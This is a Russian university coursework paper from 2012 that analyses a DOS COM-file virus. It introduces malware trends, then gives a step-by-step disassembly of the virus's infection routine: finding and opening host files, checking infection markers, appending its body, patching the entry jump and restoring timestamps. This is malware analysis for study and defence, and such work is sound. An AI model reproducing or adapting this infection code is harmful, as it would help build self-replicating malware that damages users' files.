Министерство образования и науки России
федеральное государственное бюджетное образовательное
учреждение высшего профессионального образования
«Самарский государственный технический университет»
Факультет автоматики и информационных технологий
Кафедра «Электронные системы и информационная безопасность»
Курсовая работа
по дисциплине
«Программно-аппаратная защита информации»
на тему:
«Исследование компьютерного вируса»
Вариант №16
Выполнил:
студент 3-АИТ-2
Литвишкин Михаил Юрьевич
Проверил:
Дорфман А. В.
Самара, 2012
Содержание:
Введение..............................................................................3
-
Анализ вируса................................................................4
-
Алгоритм работы антивируса.......................................7
-
Листинг вируса..............................................................10
-
Исходный код антивируса............................................19
Список литературы.............................................................25
Введение.
Количество и разнообразие вредоносных программ неуклонно растёт, причём их создание оформилось в целую индустрию: если раньше создавались в основном деструктивные программы, то в последние годы сформилась тенденция бурного развития программ, позволяющих проводить различные виды мошенничества (такие, как кража банковской информации, номеров кредитных карт, паролей от электронных кошельков и т.п.; DDoS-атаки; создание многофункциональных зомби-сетей; рассылка спама и т.д.) с целью получения прибыли.
Разработчики вирусов и антивирусов находятся в динамическом противоборстве, системы нападения и защиты постоянно совершенствуются, в ответ на новые вирусные технологии создаются новые антивирусные.
Благодаря растущей скорости и доступности сети Интернет современные вредоносные программы распространяются очень быстро, а сотрудникам антивирусных компаний приходится изучать новые вредоносные программы и искать способы противодействия им в довольно сжатые сроки.
В настоящее время не существует антивирусных программ, спсобных справиться со всеми угрозами, не все антивирусы дают даже 90%-ную защиту. Существует целый ряд проблем: баланс между тщательностью защиты и скоростью работы антивирусных программ, технологическакя исключительность различных антивирусных программ (несовместимость их друг с другом), своевременное обнаружение неизвестных угроз, сложность устранения всех последствий заражения, противодействие методам полиморфизма и т.д.
Таким образом, проблема создания вредоносных программ и противодействия им становится особенно актуальной сейчас, в условиях развития информационных технологий и средств связи.
-
Анализ вируса.
Исследуемый вирус представляет собой внедряющийся СОМ-вирус, записывающийся в конец файла.
Алгоритм работы вируса:
-
Определение дельта-смещения:
seg000:0196 call $+3
seg000:01A0 pop bp
seg000:01A4 sub bp, 99h
-
Восстановление в памяти первых четырёх байт исходной программы:
seg000:0288 mov ax, [bp+1C2h]
seg000:0297 mov word ptr cs:start+2, ax
seg000:029F mov ax, [bp+1C0h]
seg000:02AB mov word ptr cs:start, ax
-
Переключение DTA на специальный массив внутри вируса:
seg000:035A set_new_dta:
seg000:035A lea dx, [bp+1C4h]
seg000:0366 mov ah, 1Ah
seg000:0372 int 21h
-
Поиск первого подходящего файла для заражения. Если ошибка, то переход на п.18:
seg000:01BC mov cx, 7
seg000:01C4 lea dx, [bp+40Bh]
seg000:01CE mov ax, 4E00h
seg000:01D9 int 21h
seg000:01DB jnb short continue
seg000:01DD jmp restore_dta
seg000:01E0 continue:
-
Изменение атрибутов найденного файла на стандартные с предварительным сохранением их внутри вируса:
seg000:02EF mov ax, 4300h
seg000:02FC lea dx, [bp+1E2h]
seg000:0304 int 21h
seg000:030C mov [bp+3DAh], cx
seg000:031C mov ax, 4301h
seg000:0322 xor cx, cx
seg000:0329 int 21h
-
Открытие найденного файла для чтения и записи:
seg000:0383 lea dx, [bp+1E2h]
seg000:038E mov ax, 3D02h
seg000:0397 int 21h
seg000:0399 jnb short mov_descr
seg000:039B jmp rest_attributes
seg000:039E mov_descr:
seg000:03A3 mov bx, ax
-
Считывание первых четырёх байт жертвы и сохранение их внутри вируса:
seg000:024C mov cx, 4
seg000:0255 mov ah, 3Fh
seg000:025C lea dx, [bp+1C0h]
seg000:026C int 21h
seg000:026E jnb short continue2
seg000:0270 jmp close_file
seg000:0273 continue2:
seg000:027C jmp proverka_metka
-
Проверка файла на наличие метки заражения. Если она уже есть, то переход на п.15:
seg000:0513 cmp byte ptr [bp+1C3h], 0FEh
seg000:0518 jnz short proverka_exe
seg000:051A jmp close_file
-
Проверка, не является ли жертва EXE-файлом. Если является, то переход на п.15:
seg000:0523 cmp word ptr [bp+1C0h], 5A4Dh
seg000:0529 jnz short proverka_min
seg000:052B jmp close_file
-
Проверка, подходит ли жертва по размеру (1024 Б – 64000 Б). Если нет, то переход на п.15:
seg000:052E proverka_min:
seg000:0534 mov ax, [bp+1DEh]
seg000:0541 cmp ax, 400h
seg000:0544 ja short proverka_max
seg000:0546 jmp close_file
seg000:0549 proverka_max:
seg000:054D cmp ax, 0FA00h
seg000:0550 jb short okay
seg000:0552 jmp close_file
seg000:0555 okay:
-
Сохранение даты и времени последнего изменения файла внутри вируса:
seg000:021F mov ax, 5700h
seg000:0227 int 21h
seg000:0230 mov [bp+468h], dx
seg000:0239 mov [bp+411h], cx
-
Перемещение указателя на конец файла и запись тела вируса:
seg000:0464 xor cx, cx
seg000:0471 mov ax, 4202h
seg000:047C xor dx, dx
seg000:0482 int 21h
seg000:0484 jnb short write_vir
seg000:0486 jmp restore_data
seg000:0489 write_vir:
seg000:0489 mov ax,[ bp+1DEh]
seg000:0490 sub ax, 3
seg000:0498 mov [bp+3D7h], ax
seg000:04A2 mov ah, 40h
seg000:04AB mov cx, [bp+466h]
seg000:04B7 lea dx, [bp+96h]
seg000:04C3 int 21h
seg000:04C5 jnb short next_step
seg000:04C7 jmp restore_data
seg000:04CA next_step:
seg000:04CD jmp mov_poin_to_beg
-
Перемещение указателя на начало файла, запись команды прыжка на код вируса и метки заражения:
seg000:03F7 xor dx, dx
seg000:03FE xor cx, cx
seg000:0402 mov ax, 4200h
seg000:0409 int 21h
seg000:040B jnb short write_bytes
seg000:040D jmp restore_data
seg000:0410 write_bytes:
seg000:041A mov cx, 4
seg000:0427 lea dx, [bp+3D6h]
seg000:042E mov ah, 40h
seg000:0436 int 21h
-
Восстанавление старой даты и времени последнего изменения файла:
seg000:04DC mov dx, [bp+468h]
seg000:04E5 mov ax, 5701h
seg000:04EE mov cx, [bp+411h]
seg000:04F7 int 21h
-
Закрытие жертвы:
seg000:033F mov ah, 3Eh
seg000:034A int 21h
-
Восстанавление атрибутов файла:
seg000:01F0 mov cx, [bp+3DAh]
seg000:01FA mov ax, 4301h
seg000:0202 lea dx, [bp+1E2h]
seg000:020A int 21h
-
Поиск следующего подходящего для заражения файла. Если успешно, то прыжок на п.5:
seg000:03B4 mov ah, 4Fh
seg000:03BD int 21h
seg000:03BF jb short forward
seg000:03C1 jmp set_attributes
seg000:03C4 forward:
-
Возврат DTA на исходную позицию:
seg000:03D3 mov ax, 1A00h
seg000:03DC mov dx, 80h
seg000:03E4 int 21h
-
Передача управления программе-носителю по смещению 100h:
seg000:044C mov ax, 0DBDAh
seg000:0453 xor ax, 0DADAh
seg000:045E jmp ax